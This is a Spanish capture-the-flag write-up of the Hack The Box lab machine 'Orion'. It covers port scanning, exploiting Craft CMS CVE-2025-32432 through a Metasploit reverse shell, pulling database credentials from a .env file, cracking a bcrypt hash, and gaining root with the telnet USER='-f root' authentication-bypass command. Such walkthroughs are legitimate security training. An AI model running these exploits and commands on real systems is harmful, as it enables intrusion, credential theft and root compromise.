Después de un tiempo parado a la hora de resolver retos y máquinas, en esta ocasión quería retomarlo con una de las máquina de la plataforma Hack The Box de dificultad fácil llamada Orion.
Si es tu primera máquina en Hack The Box y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento cómo introducirte en esta plataforma.
Si quieres empezar con Hack The Box te dejo el enlace para que puedas crearte una cuenta y comenzar a practicar con sus laboratorios y Academia.
A continuación, para conectarte a la máquina, tendrás que establecer la conexión con la máquina víctima de HTB conectándote a la VPN desde la carpeta donde la tengas descargada, y desde ahí ejecutarás el comando «sudo openvpn NOMBRE_VPN.ovpn».
Estructura del contenido
TL;DR – RESUMEN DE LA MÁQUINA ORION (HTB)
Te resumo a continuación la resolución de la máquina pero si quieres ver el detalle, te invito a leer el resto del write-up:
Comenzamos realizando la enumeración inicial de puertos y servicios, identificando únicamente SSH en el puerto 22 y un servicio web en el puerto 80. Al acceder a la web vimos que el sitio trabajaba bajo el dominio orion.htb, por lo que lo añadimos al fichero /etc/hosts y continuamos con la enumeración web. Analizando el panel de administración descubrimos que la aplicación estaba construida sobre Craft CMS 5.6.16, una versión vulnerable a RCE pre-auth mediante CVE-2025-32432.Tras validar manualmente la vulnerabilidad, y una vez confirmado el RCE, usamos Metasploit para automatizar la obtención de una shell como www-data. Desde la shell del usuario web enumeramos el proyecto CraftCMS y encontramos el archivo .env, donde estaban las credenciales de la base de datos MariaDB. Con ellas accedimos a la base de datos orion, extrajimos el hash bcrypt del usuario admin, lo crackeamos con Hashcat obteniendo la contraseña darkangel y reutilizamos esas credenciales para acceder por SSH como el usuario adam, consiguiendo la user flag. Finalmente, en la enumeración local detectamos un servicio Telnet escuchando solo en localhost en el puerto 23, con versión GNU inetutils telnet 2.7, vulnerable a bypass de autenticación mediante la variable USER, lo que nos permitió escalar privilegios a root y capturar la flag final. |
Resumen de conceptos trabajados
- Enumeración de puertos y servicios con Nmap.
- Virtual host discovery y configuración de
/etc/hosts. - Enumeración web de CMS y detección de versiones vulnerables.
- Explotación de Craft CMS CVE-2025-32432.
- Remote Code Execution pre-auth y obtención de shell como
www-data. - Information disclosure mediante archivo
.env. - Crackeo de hashes bcrypt con Hashcat.
- Reutilización de credenciales para acceso SSH.
- Enumeración local de servicios internos con
ss. - Escalada de privilegios abusando de Telnet local vulnerable.
NUMERACIÓN -> ESCANEO DE PUERTOS
Tal y como hacemos con todas las máquinas de laboratorio a la hora de capturar las flags, comenzamos con una fase de enumeración de puertos y conocimiento de versiones y servicios que corren sobre los mismos.
Antes, a mi me gusta asegurarme que efectivamente la máquina víctima está activa y ante qué sistema operativo (OS) nos enfrentamos. Para ello, ejecutamos los siguientes comandos:
ping -c 1 10.129.32.96 -Rnmap -sn 10.129.32.96
Con esta información ya sabemos que la máquina víctima de HTB está activa y por tanto tenemos conexión para practicar, y además que su distribución es Linux por el TTL de 63 (sería 64 pero como estamos en un laboratorio de HTB, se usa un nodo intermediario de conexión que lo reduce en 1).
Continuamos ahora con el escaneo de red por TCP lanzando un nmap para detectar qué puertos están abiertos, usando por ejemplo este comando (en este post te cuento lo que hace cada comando):
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.32.96 -oG escaneo
Detectamos los puertos típicos de estas máquinas de laboratorio, que son los puertos web 80 y de autenticación por usuario ssh puerto 22.
VIRTUAL HOST DISCOVERY
Vistos los puertos abiertos para la IP de la máquina víctima, vamos a analizar ahora cuáles son los servicios y versiones que corren por detrás para analizar si existen vulnerabilidades públicas o exploits que podamos usar para comprometer la máquina. Usamos este comando para ello:
nmap -sCV -p22,80 10.129.32.96
De primeras (y al igual que vimos en la máquina Silentium) vemos que el puerto web http no resuelve por IP la redirección al dominio orion.htb , por lo que tendremos que habilitar ese dominio desde el archivo /etc/hosts incluyendo esa línea.
De esta forma si vamos directamente al navegador e intentamos acceder a http://orion.htb , este nos como resultado el contenido de la página web:
Uso diferentes herramientas y extensiones para ver qué información devuelve y si existe algún «leak information» crítico que podamos explotar.
Lo primero que hago es analizar las tecnologías que corren bajo ese dominio, es decir, qué CMS usa, qué versión, etc. Analizo también el código fuente, ficheros críticos de administración web como el robots.txt, algún xml, etc.
Todo esto antes de lanzar un escaneo de directorios, archivos o subdominios ocultos usando herramientas de fuzzing web.
Con la herramienta whatweb de Kali vemos rápido la información que devuelve en cabecera:
Nos lo confirma también la extensión Wappalizer del navegador y el footer de la web:
Así de primeras y rápido podemos ver por tanto que utiliza el CMS llamado «CraftCMS«. También me dice que esa como framework web Yii que corre php de código abierto.
Sigo investigando para encontrar la versión de ese CMS, ya que si lo encontramos, podemos buscar si hay publicado algún exploit que nos permita acceder.
Sin embargo no encuentro nada en el código.
Analizo el archivo robots.txt y devuelve una página de error 404 con información leakeada acerca de la versión del framework Yii, que parece que está usando la versión 2.0.51 el cual corre php por detrás.
Parece que si investigamos si existe un exploit público a esa versión de Yii 2.0.51 nos dice que sí, que hay un CVE publicado en 2024, en concreto el CVE-2024-58136.
ENUMERACIÓN DE DIRECTORIOS Y SUBDOMINIOS – FUZZING WEB
Por ahora dejamos esa información en standby y pasamos a hacer fuzzing web para detectar posibles directorios o archivos que quedan ocultos a nivel navegación o de acceso pero que pueden estar disponibles o entregar información de valor.
Usamos la herramienta feroxbuster que, rápido nos da una ruta de admin login y el directorio /assets/ aunque los archivos internos da 404.
Si probamos a acceder al directorio admin login, nos lleva a un panel de login donde se referencia al CMS Craft que vimos antes y además nos muestra el número de la versión 5.6.16 .
En este punto, conociendo la versión del CMS de login y teniendo un panel de admin, lo que voy a buscar es posibles credenciales expuestas públicas por defecto a probar para admin.
EXPLOTACIÓN DE CRAFT CMS
No encuentro credenciales públicas por defecto para probar, pero sí que he encontrado que esa versión del CMS es vulnerable a RCE de acuerdo a este CVE de 2025 (CVE-2025-32432). De hecho podemos verlo buscando en Searchsploit.
Si buscamos en searchsploit por ese CMS, vemos para esa versión un exploit en python pero que no encaja tal cual con la gestión de sesión de esta máquina.
Por lo que vamos a probar la intrusión con Metasploit ya que conocemos el CVE principal asociado a la versión.
EXPLOTACIÓN METASPLOIT
Si abrimos Metasploit y buscador el CVE, vemos que existe el exploit concreto:
después de seleccionar el exploit «0» lo que hacemos es configurar las opciones del objetivo y ejecutarlo con «run»:
set RHOSTS orion.htb
set RPORT 80
set LHOST TU_IP_TUN0
set LPORT 4444
Recibimos una sesión en meterpreter como el usuario www-data, ahora lo que hacemos es abrirnos una shell que estabilizamos con el comando «script /dev/null -c /bin/bash» y estamos dentro, pero como el usuario www-data.
Vemos sin embargo el nombre de un usuario llamado «adam», que probablemente sea el usuario admin que nos permita acceder a la máquina y explotarla para escalar a root.
Si investigamos y navegamos por las distintas rutas podemos llegar a fichero .env en busca de archivos de configuración expuestos, donde en este caso nos revela información clave como la contraseña de la base de datos de CRAFT.
Ahora tratamos de acceder a la base de datos usando la contraseña anterior:
mysql -u root -p orionBuscamos la tabla users donde se almacenan los usuarios «users;»
y usando el siguiente comando tenemos el usuario y la contraseña hasheada en bcrypt como admin:
select id, username, email, password from users;
CRACKING HASH
El siguiente paso ahora es llevarnos esa password a un fichero txt en nuestra Kali para crackearla usando hashcat:
Ya tenemos por tanto el usuario adam y la contraseña de acceso por ssh darkangel, por lo que vamos a acceder y ver la primera user.txt flag:
Ahora dentro de la máquina como el usuario adam, lo que hacemos es una enumeración local básica con «ss -tulnp» confirmando que existe abierto el puerto 23 por el localhost y que además podemos ver la versión de telnet.
TELNET LOCAL VULNERABLE
En este caso telnet tiene una vía de explotación ya que su versión GNU inetutils telnet 2.7 tiene una vulnerabilidad asociada a CVE-2026-24061, que permite un bypass de autenticación manipulando la variable de entorno USER pasando por tanto la variable USER manipulada para que login se ejecute como root sin pedir contraseña.
El servicio sólo escuchaba en 127.0.0.1, por eso desde fuera no lo vimos en Nmap, porque no estaba expuesto a nuestro. Pero ya una vez dentro como adam, sí pudimos hablar con ese servicio local.
Por lo que usamos el siguiente comando:
USER="-f root" telnet -a 127.0.0.1
El punto clave aquí es entender el porqué: -f root fuerza a login a tratar la sesión como una autenticación ya validada para root; la vulnerabilidad está en que telnetd permite que esa variable llegue de forma insegura al proceso de login.
Por lo que si ejecutamos el comando USER anterior, tenemos acceso directo como root, navegando hasta la root flag txt.
